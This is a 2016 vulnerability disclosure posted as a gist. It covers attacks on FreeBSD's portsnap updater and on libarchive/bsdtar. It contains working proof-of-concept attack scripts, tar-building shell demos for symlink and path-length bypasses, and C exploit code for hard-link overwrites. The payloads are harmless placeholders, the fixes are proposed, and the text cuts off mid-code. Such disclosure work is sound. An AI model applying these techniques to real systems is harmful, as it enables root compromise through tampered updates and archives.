Create a gist now

Instantly share code, notes, and snippets.

anonymous /freebsd.txt Secret
Created May 18, 2016

FreeBSD
/=============================================================\
| NON-CRYPTANALYTIC ATTACKS AGAINST FREEBSD UPDATE COMPONENTS |
\=============================================================/
1. portsnap
2. libarchive/bsdtar
3. bspatch
/==========\
| PORTSNAP |
\==========/
The portsnap(8) script depends on a cryptographic chain of trust based on
SHA256 hashes, all of them anchored to an RSA public key (pub.ssl) with a
trusted keyprint defined in /etc/portsnap.conf. Unfortunately, the initial
snapshot tarball is not properly verified, allowing a resourceful attacker
to escape the cryptographic chain of trust and compromise the system.
In the portsnap(8) script, the function fetch_snapshot() fetches the initial
snapshot tarball and immediately extracts it without any hash verification.
(Indeed, there is no hash with which to verify this tarball, for the hash in
the tarball's filename is the hash of the tINDEX.new metadata file fetched
earlier.)
Exploitation vectors follow from
(i) vulnerabilities in libarchive/bsdtar itself. These are the subject of
the second security report. The symlink attacks have an obvious
impact, allowing any file on the system to be overwritten, paving the
way for immediate command execution. The hard-link attacks, typically
being restricted to /var because of filesystem segmentation, can
target /var/run/ld-elf.so.hints.
(ii) the attacker's ability to smuggle in unexpected tarball contents. At
first glance, it appears that fetch_snapshot() verifies, with two
calls to the function fetch_snapshot_verify(), the contents of the
tarball that _should_ be there; however, nothing is done about the
contents of the tarball that _should not_ be there.
This first report considers only the second class of vectors.
Exploitation vector #1: fetch_snapshot_verify() error
------------------------------------------------------
The function fetch_snapshot_verify() contains the following hash check:
if [ "`gunzip -c snap/${F} | ${SHA256} -q`" != ${F} ]; then
The problem is that ${F} expands to a file hash without any .gz suffix. As
documented in the gunzip(1) manual page, gunzip(1) will first try opening the
file snap/${F}. Failing that, it will automatically append a suffix and try
opening the file snap/${F}.gz.
An attacker can supply both snap/${F} and snap/{F}.gz, where the first file is
clean and passes the hash check and the second file is malicious. Because the
portsnap(8) script explicitly appends a .gz suffix for every other use of
gunzip(1), the attacker's malicious file will be the one chosen for extraction.
Exploitation vector #1: defense
-------------------------------
A band-aid solution for this vector is to add the .gz extension:
if [ "`gunzip -c snap/${F}.gz | ${SHA256} -q`" != ${F} ]; then
Exploitation vector #2: file prediction
---------------------------------------
An attacker can smuggle in files that will be used in later portsnap(8) runs.
When fetching new files based on differences in tINDEX/tINDEX.new and
INDEX/INDEX.new, the functions fetch_make_patchlist() and fetch_update() will
request new files only if they do not already exist in /var/db/portsnap/files.
If they do already exist (because an attacker has provided them), they will not
be overwritten and will not be subject to hash verification.
This is all well and good, but it would seem that an attacker faces the
difficult task of guessing future SHA256 hashes. Fortunately for the attacker,
there is usually an asynchrony on the portsnap servers between the snapshop
tag (snapshot.ssl) and the update tag (latest.ssl). An initialization run of
portsnap(8) will, via the function fetch_run(), grab the snapshot tarball,
handle it, and then automatically check for an available update. All the
attacker has to do is ensure the tarball contains the malicious file snap/X.gz,
where X is a hash learned from the already available update on the server.
Exploitation vector #2: defense
-------------------------------
All four demonstration attacks given below would be foiled if the snapshot
tarball were to be cryptographically verified, perhaps via a hash added to the
snapshot tag. This would also provide protection for libarchive/bsdtar, the
attack surface of which has barely been scratched in the second security
report, with only filesystem-based attacks investigated. At ~100K lines of code
with auto-detected multi-format support, libarchive/bsdtar is far too dangerous
to trust with pre-verification root privileges.
The more general problem is that portsnap(8), along with freebsd-update(8),
contains more pre-verification processing than strictly necessary. Hashes are
checked _after_ running gunzip(1), bspatch(1), and various character-stream
utilities rather than _before_, leading to problems such as the bspatch(1)
memory-corruption attack in the third security report. Contrast this with the
ports system proper, which guards virtually all processing with the 'checksum'
target.
Attack demonstrations
---------------------
Attack #1 is an example attack using exploitation vector #1. It achieves
arbitrary command execution when the ports system is next used after an
initialization run of `portsnap fetch extract`.
Attack #2 is an example attack using exploitation vector #2. It achieves
arbitrary command execution when the ports system is next used after an
initialization run of `portsnap fetch extract`.
Attacks #3 and #4 are example attacks using exploitation vector #2. They
achieve immediate arbitrary command execution during an initialization run of
`portsnap fetch extract`.
These attacks are purely for demonstration purposes, so no effort has been made
to make them stealthy. Attacks #3 and #4 in particular are very noisy and do
not bother extracting a full ports tree.
The following patch can be applied to /usr/sbin/portsnap. The modified script
allows convenient simulation of actual attacks. Simulation means that the
modified script does not "cheat" -- a corrupt snapshot could achieve the same
effects outside the cryptographic chain of trust. Full descriptions of the
individual attacks appear afterward.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
@@ -654,6 +654,95 @@
return 0
}
+attack_one() {
+
+ evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_1; echo x'
+
+ snapshot=`cut -f3 -d'|' tag.new`.tgz
+ index=`look INDEX tINDEX.new | cut -f2 -d'|'`
+ tar -xz --numeric-owner -f "$snapshot" snap/
+ mk=`zgrep '^Mk/bsd\.commands\.mk' "snap/$index.gz" | cut -f2 -d '|'`
+ tar -xzf "snap/$mk.gz"
+ echo "$evilcmds" >> Mk/bsd.commands.mk
+ mv "snap/$mk.gz" "snap/$mk"
+ tar -czf "snap/$mk.gz" Mk/bsd.commands.mk
+ rm -f "$snapshot"
+ tar -czf "$snapshot" snap/
+ rm -rf snap Mk
+}
+
+attack_two() {
+
+ evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_2; echo x'
+
+ indexold=`look INDEX tINDEX | cut -f2 -d'|'`
+ indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
+ mk=`zgrep '^Mk/bsd\.commands\.mk' "files/$indexold.gz" | cut -f2 -d '|'`
+ tar -xzf "files/$mk.gz"
+ echo "$evilcmds" >> Mk/bsd.commands.mk
+ tar -czf x.gz Mk/bsd.commands.mk
+ bcmhash=`gunzip -c x.gz | sha256`
+ mv x.gz "files/$bcmhash.gz"
+ (zcat "files/$indexold.gz"; echo "Mk/bsd.commands.mk|$bcmhash") |
+ gzip > "files/$indexnew.gz"
+ rm -rf Mk
+}
+
+attack_three() {
+
+ evilcmds='/usr/bin/touch /tmp/evil_file_3'
+
+ cp /usr/bin/cut /tmp/cut.saved3
+ echo "/usr/bin/cut saved to /tmp/cut.saved3"
+ indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
+ cmdsfile=/var/db/portsnap/files/evilcmds.sh
+ cmdshash=`jot -s "" -b "a" 64`
+ symfile=.portsnap.INDEX
+ symhash=`jot -s "" -b "f" 64`
+ cat > "files/$indexnew" << EOF
+$cmdsfile|$cmdshash
+$symfile|$symhash
+EOF
+ gzip "files/$indexnew"
+ cat > "$cmdsfile" << EOF
+#!/bin/sh
+$evilcmds
+EOF
+ chmod 777 "$cmdsfile"
+ touch "files/$cmdshash"
+ gzip "files/$cmdshash"
+ ln -s /usr/bin/cut "$symfile"
+ tar -czf "files/$symhash.gz" "$symfile"
+ rm -f "$symfile"
+}
+
+attack_four() {
+ evilcmds='/usr/bin/touch /tmp/evil_file_4'
+
+ cp /usr/bin/cut /tmp/cut.saved4
+ echo "/usr/bin/cut saved to /tmp/cut.saved4"
+ indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
+ symfile=sym
+ symhash=`jot -s "" -b "a" 64`
+ cmdshash=`jot -s "" -b "f" 64`
+ cat > "files/$indexnew" << EOF
+$symfile|$symhash
+-P|$cmdshash
+EOF
+ gzip "files/$indexnew"
+ ln -s /usr/bin "$symfile"
+ tar -czf "files/$symhash.gz" "$symfile"
+ rm -f "$symfile"
+ mkdir "$symfile"
+ cat > "$symfile/cut" << EOF
+#!/bin/sh
+$evilcmds
+EOF
+ chmod 777 "$symfile/cut"
+ tar -czf "files/$cmdshash.gz" "$symfile/cut"
+ rm -r "$symfile"
+}
+
# Fetch a snapshot tarball, extract, and verify.
fetch_snapshot() {
while ! fetch_tag snapshot; do
@@ -671,6 +760,8 @@
echo "Fetching snapshot generated at `date -r ${SNAPSHOTDATE}`:"
fetch -r http://${SERVERNAME}/s/${SNAPSHOTHASH}.tgz || return 1
+ [ "$ATTACK" = "one" ] && attack_one
+
echo -n "Extracting snapshot... "
tar -xz --numeric-owner -f ${SNAPSHOTHASH}.tgz snap/ || return 1
rm ${SNAPSHOTHASH}.tgz
@@ -714,6 +805,10 @@
fetch_metadata || return 1
fetch_metadata_sanity || return 1
+ [ "$ATTACK" = "two" ] && attack_two
+ [ "$ATTACK" = "three" ] && attack_three
+ [ "$ATTACK" = "four" ] && attack_four
+
echo -n "Updating from `date -r ${OLDSNAPSHOTDATE}` "
echo "to `date -r ${SNAPSHOTDATE}`."
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Attack #1
---------
Directories /usr/ports and /var/db/portsnap are cleaned.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
attack_one() {
evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_1; echo x'
snapshot=`cut -f3 -d'|' tag.new`.tgz
index=`look INDEX tINDEX.new | cut -f2 -d'|'`
tar -xz --numeric-owner -f "$snapshot" snap/
mk=`zgrep '^Mk/bsd\.commands\.mk' "snap/$index.gz" | cut -f2 -d '|'`
tar -xzf "snap/$mk.gz"
echo "$evilcmds" >> Mk/bsd.commands.mk
mv "snap/$mk.gz" "snap/$mk"
tar -czf "snap/$mk.gz" Mk/bsd.commands.mk
rm -f "$snapshot"
tar -czf "$snapshot" snap/
rm -rf snap Mk
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
This attack simulates the delivery of a corrupt snapshot tarball including two
files:
snap/$mk
snap/$mk.gz
where snap/$mk contains a clean Mk/bsd.commands.mk and is used to pass hash
verification but where snap/$mk.gz contains a custom Mk/bsd.commands.mk and is
used for extraction.
Mk/bsd.commands.mk is a file that is not updated often, so modifications will
not be overwritten, and it is unconditionally included in Mk/bsd.port.mk, so
commands inside it will be run when using the ports system.
# ATTACK=one portsnap fetch
[...]
# portsnap extract
[...]
# tail -n 1 /usr/ports/Mk/bsd.commands.mk
EVILCMDS != /usr/bin/touch /tmp/evil_file_1; echo x
# cd /usr/ports/[...]/[...]
# ls /tmp/evil_file_1
ls: /tmp/evil_file_1: No such file or directory
# make fetch
[...]
# ls /tmp/evil_file_1
/tmp/evil_file_1
Attack #2
---------
Directories /usr/ports and /var/db/portsnap are cleaned.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
attack_two() {
evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_2; echo x'
indexold=`look INDEX tINDEX | cut -f2 -d'|'`
indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
mk=`zgrep '^Mk/bsd\.commands\.mk' "files/$indexold.gz" | cut -f2 -d '|'`
tar -xzf "files/$mk.gz"
echo "$evilcmds" >> Mk/bsd.commands.mk
tar -czf x.gz Mk/bsd.commands.mk
bcmhash=`gunzip -c x.gz | sha256`
mv x.gz "files/$bcmhash.gz"
(zcat "files/$indexold.gz"; echo "Mk/bsd.commands.mk|$bcmhash") |
gzip > "files/$indexnew.gz"
rm -rf Mk
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
This attack simulates the delivery of a corrupt snapshot tarball including
two malicious files:
snap/$bcmhash.gz
snap/$indexnew.gz
where snap/$bcmhash.gz contains a custom Mk/bsd.commands.mk and where
snap/$indexnew.gz contains an update INDEX. (Note that the script peeks inside
tINDEX.new for the update INDEX hash, which is not "cheating," for an attacker
can learn the same information from the update metadata available on the
server, assuming an update is available, which is typically the case.)
The update INDEX is an otherwise sane INDEX file with the following line
appended:
Mk/bsd.commands.mk|$bcmhash
When portsnap(8) discovers that the update INDEX already exists on the
filesystem, this file will not be overwritten and will not be hash-verified.
# ATTACK=two portsnap fetch
[...]
# portsnap extract
[...]
# tail -n 1 /usr/ports/Mk/bsd.commands.mk
EVILCMDS != /usr/bin/touch /tmp/evil_file_2; echo x
# cd /usr/ports/[...]/[...]
# ls /tmp/evil_file_2
ls: /tmp/evil_file_2: No such file or directory
# make fetch
[...]
# ls /tmp/evil_file_2
/tmp/evil_file_2
Attack #3
---------
Directories /usr/ports and /var/db/portsnap are cleaned.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
attack_three() {
evilcmds='/usr/bin/touch /tmp/evil_file_3'
cp /usr/bin/cut /tmp/cut.saved3
echo "/usr/bin/cut saved to /tmp/cut.saved3"
indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
cmdsfile=/var/db/portsnap/files/evilcmds.sh
cmdshash=`jot -s "" -b "a" 64`
symfile=.portsnap.INDEX
symhash=`jot -s "" -b "f" 64`
cat > "files/$indexnew" << EOF
$cmdsfile|$cmdshash
$symfile|$symhash
EOF
gzip "files/$indexnew"
cat > "$cmdsfile" << EOF
#!/bin/sh
$evilcmds
EOF
chmod 777 "$cmdsfile"
touch "files/$cmdshash"
gzip "files/$cmdshash"
ln -s /usr/bin/cut "$symfile"
tar -czf "files/$symhash.gz" "$symfile"
rm -f "$symfile"
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
This attack simulates the delivery of a corrupt snapshot tarball including
four malicious files:
snap/$indexnew.gz
snap/evilcmds.sh
snap/$cmdshash.gz
snap/$symhash.gz
where snap/$indexnew.gz contains an update INDEX, where snap/evilcmds.sh is a
shell script containing arbitrary commands, where snap/$cmdshash.gz is a dummy
file for snap/evilcmds.sh, and where snap/$symhash.gz contains the symlink
.portsnap.INDEX -> /usr/bin/cut.
The update INDEX is the following:
/var/db/portsnap/files/evilcmds.sh|aaa[...]aaa
.portsnap.INDEX|fff[...]fff
The idea is to use a symlink to break out of /usr/ports. Although tar(1), when
operating as intended without special switches, refuses to extract _through_
symlinks, it will happily _extract_ symlinks pointing anywhere on the system,
allowing another utility to cause damage _through_ those symlinks. Observe the
following lines in the portsnap(8) script:
extract_metadata() {
if [ -z "${REFUSE}" ]; then
sort ${WORKDIR}/INDEX > ${PORTSDIR}/.portsnap.INDEX
During extraction, .portsnap.INDEX will become a symlink pointing to
/usr/bin/cut. The lines above will cause /usr/bin/cut to be overwritten with
our sorted update INDEX. In other words, /usr/bin/cut will contain the
following:
.portsnap.INDEX|fff[...]fff
/var/db/portsnap/files/evilcmds.sh|aaa[...]aaa
/usr/bin/cut will be executed in extract_indices(). The kernel will reject the
new /usr/bin/cut for execution, but the shell will notice the failed execution
and try running /usr/bin/cut as a shell script. The pipe characters will be
interpreted as command delimiters. Hence we have achieved execution of
/var/db/portsnap/files/evilcmds.sh (the three other "commands" will fail, of
course).
/tmp/cut.saved3 is a copy of the original /usr/bin/cut.
# ATTACK=three portsnap fetch
[...]
# ls /tmp/evil_file_3
ls: /tmp/evil_file_3: No such file or directory
# portsnap extract
[...]
# ls /tmp/evil_file_3
/tmp/evil_file_3
# cat /usr/bin/cut
.portsnap.INDEX|fff[...]fff
/var/db/portsnap/files/evilcmds.sh|aaa[...]aaa
# mv /tmp/cut.saved3 /usr/bin/cut
Attack #4
---------
Directories /usr/ports and /var/db/portsnap are cleaned.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
attack_four() {
evilcmds='/usr/bin/touch /tmp/evil_file_4'
cp /usr/bin/cut /tmp/cut.saved4
echo "/usr/bin/cut saved to /tmp/cut.saved4"
indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
symfile=sym
symhash=`jot -s "" -b "a" 64`
cmdshash=`jot -s "" -b "f" 64`
cat > "files/$indexnew" << EOF
$symfile|$symhash
-P|$cmdshash
EOF
gzip "files/$indexnew"
ln -s /usr/bin "$symfile"
tar -czf "files/$symhash.gz" "$symfile"
rm -f "$symfile"
mkdir "$symfile"
cat > "$symfile/cut" << EOF
#!/bin/sh
$evilcmds
EOF
chmod 777 "$symfile/cut"
tar -czf "files/$cmdshash.gz" "$symfile/cut"
rm -r "$symfile"
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
This attack simulates the delivery of a corrupt snapshot tarball including
three malicious files:
snap/$indexnew.gz
snap/$symhash.gz
snap/$cmdshash.gz
where snap/$indexnew.gz contains an update INDEX, where snap/$symhash.gz
contains the symlink sym -> /usr/bin, and where snap/$cmdshash.gz contains the
shell script sym/cut.
The update INDEX is the following:
sym|aaa[...]aaa
-P|fff[...]fff
As in attack #3, the idea is to use a symlink to break out of /usr/ports and
overwrite /usr/bin/cut, only this time we simplify the attack with a tar(1)
-P switch injection to disable the usual symlink checks. Observe the following
lines in the portsnap(8) script:
extract_run() {
[...]
rm -f ${PORTSDIR}/${FILE}
tar -xz --numeric-owner -f ${WORKDIR}/files/${HASH}.gz \
-C ${PORTSDIR} ${FILE}
After the symlink sym -> /usr/bin has been extracted, the shell script sym/cut
will be extracted through that symlink, overwriting /usr/bin/cut. The tar(1)
symlink checks are bypassed because ${FILE} expands to the -P switch.
/tmp/cut.saved4 is a copy of the original /usr/bin/cut.
# ATTACK=four portsnap fetch
[...]
# ls /tmp/evil_file_4
ls: /tmp/evil_file_4: No such file or directory
# portsnap extract
[...]
# ls /tmp/evil_file_4
/tmp/evil_file_4
# cat /usr/bin/cut
#!/bin/sh
/usr/bin/touch /tmp/evil_file_4
# mv /tmp/cut.saved4 /usr/bin/cut
/===================\
| LIBARCHIVE/BSDTAR |
\===================/
The non-HEAD branches of FreeBSD still use libarchive/bsdtar 3.1.2 in base,
released in Feb 2013. The next version, 3.2.0, was released recently (May 2016)
and added to both the HEAD branch and ports.
Unless invoked with the -P switch, bsdtar tries to prevent three classes of
filesystem attacks:
(1) absolute paths
- handled by bsdtar itself via edit_pathname() in tar/util.c
- not handled by bsdcpio until upstream commit 5935715 (Mar 2015),
addressing CVE-2015-2304 (nothing more will be said about
bsdcpio in this report, but note that FreeBSD non-HEAD is still
vulnerable to this particular bug)
(2) dot-dot paths
- handled by libarchive via cleanup_pathname() in
libarchive/archive_write_disk_posix.c
(3) extraction through symlinks
- handled by libarchive via check_symlinks() in
libarchive/archive_write_disk_posix.c
Three vulnerabilities exist in check_symlinks(). One of these, allowing a file
overwrite outside the extraction directory, was discovered independently and
has already been silently fixed upstream, though FreeBSD non-HEAD is still
vulnerable. The other two vulnerabilities -- one allowing a file overwrite
outside the extraction directory and the other allowing permission changes to a
directory outside the extraction directory -- are new and exist in both FreeBSD
and upstream source.
A fourth vulnerability, also new and existing in both FreeBSD and upstream
source, arises from the fact that link-target pathnames are not subjected to
the security checks listed above. This, combined with the fact that libarchive
supports the POSIX feature of hard links with data payloads, allows a file
overwrite outside the extraction directory (under hard-linking constraints).
The vulnerability matrix summarizing the above information is as follows:
| non-HEAD (3.1.2) | HEAD/ports (3.2.0) | latest upstream
-----------------------------------------------------------------
bsdcpio | Y | N | N
vuln #1 | Y | N | N
vuln #2 | Y | Y | Y
vuln #3 | Y | Y | Y
vuln #4 | Y | Y | Y
(Y = vulnerable, N = not vulnerable)
Earlier versions may also be vulnerable.
VULNERABILITY #1
----------------
{Affects}
3.1.2 (FreeBSD non-HEAD), possibly earlier
{Description}
check_symlinks() checks only the first pathname component for symlinks. In the
pathname
dir1/dir2/file
check_symlinks() will ensure that 'dir1' is not a symlink, and in most cases,
'file' will fortuitously still be unlinked elsewhere in libarchive if it is a
symlink, but 'dir2' will not be checked.
{Demonstration}
libarchive correctly catches this:
$ echo hello > /tmp/myfile
$ ln -s /tmp dir1
$ tar cf x.tar dir1
$ rm dir1
$ mkdir dir1
$ echo goodbye > dir1/myfile
$ touch clear_safe_cache
$ tar rf x.tar clear_safe_cache dir1/myfile
$ rm -r clear_safe_cache dir1
$ ls
x.tar
$ tar tf x.tar
dir1
clear_safe_cache
dir1/myfile
$ tar xvf x.tar
x dir1
x clear_safe_cache
x dir1/myfile: Cannot extract through symlink dir1
tar: Error exit delayed from previous errors.
$ cat /tmp/myfile
hello
But libarchive fails to catch this:
$ rm *
$ mkdir dir1
$ ln -s /tmp dir1/dir2
$ tar cf x.tar dir1/dir2
$ rm -r dir1
$ mkdir -p dir1/dir2
$ echo goodbye > dir1/dir2/myfile
$ touch clear_safe_cache
$ tar rf x.tar clear_safe_cache dir1/dir2/myfile
$ rm -r clear_safe_cache dir1
$ ls
x.tar
$ tar tf x.tar
dir1/dir2
clear_safe_cache
dir1/dir2/myfile
$ tar xvf x.tar
x dir1/dir2
x clear_safe_cache
x dir1/dir2/myfile
$ cat /tmp/myfile
goodbye
{Defense}
This was independently discovered and silently fixed in upstream commit
6a7b8ad (Jan 2016). There was no associated version bump, CVE ID, or vuln
report, so it is unclear whether the security impact was recognized. The fix
is included in the recent 3.2.0 release, but it is not mentioned in the
"Security Fixes" section of the release notes.
VULNERABILITY #2
----------------
{Affects}
3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier
{Description}
When check_symlinks() fails on an lstat() call, it checks errno for only
ENOENT:
r = lstat(a->name, &st);
if (r != 0) {
/* We've hit a dir that doesn't exist; stop now. */
if (errno == ENOENT)
break;
}
All other error conditions get a free pass. In particular, ENAMETOOLONG gets a
free pass. This is by design: The function _archive_write_disk_header() calls
edit_deep_directories() after check_symlinks() in an effort to accommodate deep
directories. Unfortunately, the interaction between the symlink checks and the
deep-directory support introduces a security vulnerability, in that the symlink
checks are effectively disabled for long pathnames.
{Demonstration}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
#!/bin/sh
ELEMENT_LEN=200
ELEMENT_NUM=6
ELEMENT_STR=`jot -s "" -b "D" $ELEMENT_LEN`
currdir=`pwd`
exec < "$2"
i=0
while [ $i -lt $ELEMENT_NUM ]; do
mkdir $ELEMENT_STR
cd $ELEMENT_STR
i=$(($i + 1))
done
ln -s / slink
tar cf "$currdir/x.tar" -C "$currdir" $ELEMENT_STR
rm -f slink
mkdir -p "slink/`dirname "$1"`"
cat - > "slink/$1"
tar rf "$currdir/x.tar" -C "$currdir" $ELEMENT_STR
cd "$currdir"
rm -rf $ELEMENT_STR
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
$ cat /tmp/myfile
cat: /tmp/myfile: No such file or directory
$ echo this is the data I want > data
$ ./vuln2.sh /tmp/myfile data
$ ls
data vuln2.sh x.tar
$ tar xf x.tar
[error messages omitted]
$ cat /tmp/myfile
this is the data I want
$ rm -r D* data x.tar
$ echo overwrite existing file > data
$ ./vuln2.sh /tmp/myfile data
$ tar xf x.tar
[error messages omitted]
$ cat /tmp/myfile
overwrite existing file
{Defense}
The best solution is probably to excise the function edit_deep_directories()
altogether and then change check_symlinks() to return ARCHIVE_FAILED when
lstat() fails with errno other than ENOENT. It does not appear to be worth the
trouble trying to work around PATH_MAX. Incidentally, POSIX defines PATH_MAX
to include the terminating NUL, so if edit_deep_directories() is to remain, its
two strlen() checks should be fixed accordingly: < PATH_MAX and >= PATH_MAX.
VULNERABILITY #3
----------------
{Affects}
3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier
{Description}
check_symlinks() employs a single-bin safety cache as an optimization. The idea
is that after checking the pathname
aaa/bbb/ccc
for symlinks, if the next pathname is
aaa/bbb/ddd
there is no need to recheck aaa/bbb for symlinks. Unfortunately, a cached
aaa/bbb/ccc (where the directories are included for illustration purposes --
simple filenames also work) allows symlink checks to be bypassed if the next
entry's pathname is one of
a
aa
aaa
aaa/b
aaa/bb
aaa/bbb
aaa/bbb/c
aaa/bbb/cc
aaa/bbb/ccc
The functions restore_entry() and create_filesystem_object() in
libarchive/archive_write_disk_posix.c appear to constrain the impact of this
vulnerability on FreeBSD to permission changes on arbitrary directories. The
root user is affected in default operation, whereas normal users may need to
issue the -p switch (distinct from the -P switch) to be affected:
$ mkdir /tmp/mydir
$ ls -ld /tmp/mydir
drwxr-xr-x [...]
$ ln -s /tmp/mydir sym
$ tar cf x.tar sym
$ rm sym
$ mkdir sym
$ chmod 777 sym
$ tar rf x.tar sym
$ rmdir sym
$ tar tf x.tar
sym
sym/
$ tar xf x.tar
$ ls -ld /tmp/mydir
drwxr-xr-x [...]
$ ls
sym x.tar
$ rm sym
$ tar xf x.tar -p
$ ls -ld /tmp/mydir
drwxrwxrwx [...]
$ rm -r /tmp/mydir *
As the root user:
# mkdir /tmp/mydir
# ls -ld /tmp/mydir
drwxr-xr-x [...]
# ln -s /tmp/mydir sym
# tar cf x.tar sym
# rm sym
# mkdir sym
# chmod 777 sym
# tar rf x.tar sym
# rmdir sym
# tar tf x.tar
sym
sym/
# tar xf x.tar
# ls -ld /tmp/mydir
drwxrwxrwx [...]
{Defense}
This vulnerability subverts the assurances of check_symlinks(), so a fix should
be local to check_symlinks(). It might also be worth investigating whether the
performance gains of the safety cache are worth the added complexity and
hairiness in such a security-critical function.
VULNERABILITY #4
----------------
{Affects}
3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier
{Description}
Recall the three classes of filesystem attacks listed earlier:
(1) absolute paths
(2) dot-dot paths
(3) extraction through symlinks
These checks are applied as usual to the pathnames of symlinks and hard links
but not to their targets, with one exception: The targets of hard links are
subjected to absolute-path checks in tar/util.c as of FreeBSD revision r270661
and upstream commit cf8e67f (it seems the revision was submitted upstream and
was rewritten in a different form as the commit -- both strip leading slashes
from the hard-link targets, though not for security reasons).
Archive entries for hard links can use dot-dot pathnames in their targets to
point at any file on the system, subject to the usual hard-linking constraints.
Alternatively, on systems that follow symlinks for link() -- which is an
implementation-defined behavior supported by FreeBSD -- a symlink can first be
extracted that uses absolute or dot-dot pathnames to point at the file, and
then the hard-link target can be the symlink, which means that filtering the
hard-link target for dot-dot paths is not sufficient to address the problem.
The ability to point hard links at outside files becomes more serious when we
consider that libarchive supports the POSIX feature of hard links with data
payloads. This allows an attacker to point a hard link at an existing target
file outside the extraction directory and use the data payload to overwrite the
file.
{Demonstration}
Exploit code is included below.
$ cd /tmp/cage
$ ls
vuln4.c
$ cc -o vuln4 vuln4.c -larchive
$ echo hello > /tmp/target
$ echo goodbye > data
$ ./vuln4 x.tar data p ../../../tmp/target
$ tar tvf x.tar
-rwxrwxrwx 0 0 0 8 Jan 1 1970 p link to ../../../tmp/target
$ tar xvf x.tar
x p
$ cat /tmp/target
goodbye
The code could be rewritten to use symlinks instead of dot-dot paths:
$ cd /tmp/cage
$ ls
vuln4 vuln4.c
$ echo hello > /tmp/target
$ echo goodbye > data
$ ln -s /tmp/target sym
$ ./vuln4 x.tar data p sym
$ tar tvf x.tar
-rwxrwxrwx 0 0 0 8 Jan 1 1970 p link to sym
$ tar xvf x.tar
x p
$ cat /tmp/target
goodbye
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
#include <sys/types.h>
#include <sys/stat.h>
#include <archive.h>
#include <archive_entry.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void make_archive(char *, char *, char *, char *);
static void patch_archive(char *, char *);
static void
make_archive(char *archive, char *file, char *pathname, char *linkname)
{
int fd;
ssize_t len;
char buf[1024];
struct stat s;
struct archive *a;
struct archive_entry *ae;
a = archive_write_new();
archive_write_set_format_pax(a);
archive_write_open_filename(a, archive);
ae = archive_entry_new();
archive_entry_set_pathname(ae, pathname);
/* dummy file type -- AE_SET_HARDLINK has priority anyway */
archive_entry_set_filetype(ae, AE_IFREG);
stat(file, &s);
archive_entry_set_size(ae, s.st_size);
archive_entry_set_uid(ae, 0);
archive_entry_set_gid(ae, 0);
archive_entry_set_perm(ae, 0777);
/*
* libarchive allows _extraction_ of hardlink payloads, as per the POSIX
* specs for pax, but not without some arm-twisting. We set ctime to force
* the addition of a pax extended header so that libarchive doesn't zero
* the size field during _extraction_.
*
* libarchive disallows _creation_ of hardlink payloads for all supported
* tar formats (pax, ustar, gnutar, v7tar). If we set the hardlink,
* libarchive will zero the size field during _creation_, so we simply
* create a regular-file entry and patch the archive on disk via
* patch_archive() when done.
*/
archive_entry_set_ctime(ae, 1, 1);
/* archive_entry_set_hardlink(ae, linkname); */
archive_write_header(a, ae);
fd = open(file, O_RDONLY);
while ((len = read(fd, buf, sizeof buf)) > 0)
archive_write_data(a, buf, (size_t)len);
close(fd);
archive_entry_free(ae);
archive_write_close(a);
archive_write_free(a);
patch_archive(archive, linkname);
}
static void
patch_archive(char *archive, char *linkname)
{
/* extended header + extended body + checksum offset */
static const long patch_offset = (512 + 512 + 148);
FILE *fp;
unsigned char *cp;
unsigned long checksum;
fp = fopen(archive, "r+b");
fseek(fp, patch_offset, SEEK_SET);
fscanf(fp, "%lo", &checksum);
/* entry type 0x30 -> 0x31 */
checksum += 1;
cp = (unsigned char *)linkname;
/* linkname char 0x00 -> 0x## */
while (*cp) checksum += *cp++;
fseek(fp, patch_offset, SEEK_SET);
fprintf(fp, "%.6lo%c 1%s", checksum, '\0', linkname);
fclose(fp);
}
int
